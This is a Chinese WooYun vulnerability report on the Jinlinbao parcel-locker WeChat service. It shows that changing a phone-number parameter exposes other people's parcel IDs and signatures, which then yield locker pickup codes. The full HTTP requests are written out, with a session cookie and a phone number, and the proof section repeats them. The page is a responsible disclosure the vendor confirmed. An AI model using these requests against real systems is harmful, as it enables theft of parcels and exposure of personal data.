当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191023

漏洞标题:近邻宝可任意开箱领取别人快递(需知道手机号前提)

相关厂商:近邻宝

漏洞作者: 路人甲

提交时间:2016-03-31 16:35

修复时间:2016-05-15 19:20

公开时间:2016-05-15 19:20

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-31: 细节已通知厂商并且等待厂商处理中
2016-03-31: 厂商已经确认,细节仅向厂商公开
2016-04-10: 细节向核心白帽子及相关领域专家公开
2016-04-20: 细节向普通白帽子公开
2016-04-30: 细节向实习白帽子公开
2016-05-15: 细节向公众公开

简要描述:

近邻宝可任意领取别人快递,需知道手机号码

详细说明:

近邻宝可以代别人领取快递,只要知道手机号码
在近邻宝微信企业号中,首先绑定手机号码,在左下角“取快递”=>“待取”处抓包

POST /weixin/ordinary/customer/get/not/receive/list/ HTTP/1.1
Accept-Language: zh-CN
X-Requested-With: XMLHttpRequest
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Referer: http://snsbroker.jinlb.cn/weixin/ordinary/customer/my/receive/
User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; 2013022 Build/HM2013022) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025489 Mobile Safari/533.1 MicroMessenger/6.3.13.49_r4080b63.740 NetType/WIFI Language/zh_CN
Origin: http://snsbroker.jinlb.cn
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
Host: snsbroker.jinlb.cn
Cookie: ltype=not_rece; session_id=9f9881c6a5384e59f25540633c34191eb807cda1
Content-Length: 24
phone=13521993016&page=1


修改phone参数可以查询该手机号码的未领取的快件(包含order_id,sign参数),一个order_id对应一个sign参数

22.png


利用这两个参数,发送如下请求

GET /weixin/ordinary/customer/order/detail?order_id=5574445&sign=9c79ae32889e4f8eaed09cc456191e6d&ltype=rece HTTP/1.1
Referer: http://snsbroker.jinlb.cn/weixin/ordinary/customer/my/receive/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; 2013022 Build/HM2013022) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025489 Mobile Safari/533.1 MicroMessenger/6.3.13.49_r4080b63.740 NetType/WIFI Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Accept-Encoding: gzip
Host: snsbroker.jinlb.cn
Cookie: ltype=not_rece; session_id=9f9881c6a5384e59f25540633c34191eb807cda1


33.png


有了密码就可以开箱取货了。

漏洞证明:

22.png


利用这两个参数,发送如下请求

GET /weixin/ordinary/customer/order/detail?order_id=5574445&sign=9c79ae32889e4f8eaed09cc456191e6d&ltype=rece HTTP/1.1
Referer: http://snsbroker.jinlb.cn/weixin/ordinary/customer/my/receive/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; 2013022 Build/HM2013022) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025489 Mobile Safari/533.1 MicroMessenger/6.3.13.49_r4080b63.740 NetType/WIFI Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Accept-Encoding: gzip
Host: snsbroker.jinlb.cn
Cookie: ltype=not_rece; session_id=9f9881c6a5384e59f25540633c34191eb807cda1


33.png


有了密码就可以开箱取货了。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-31 19:15

厂商回复:

感谢。

最新状态:

暂无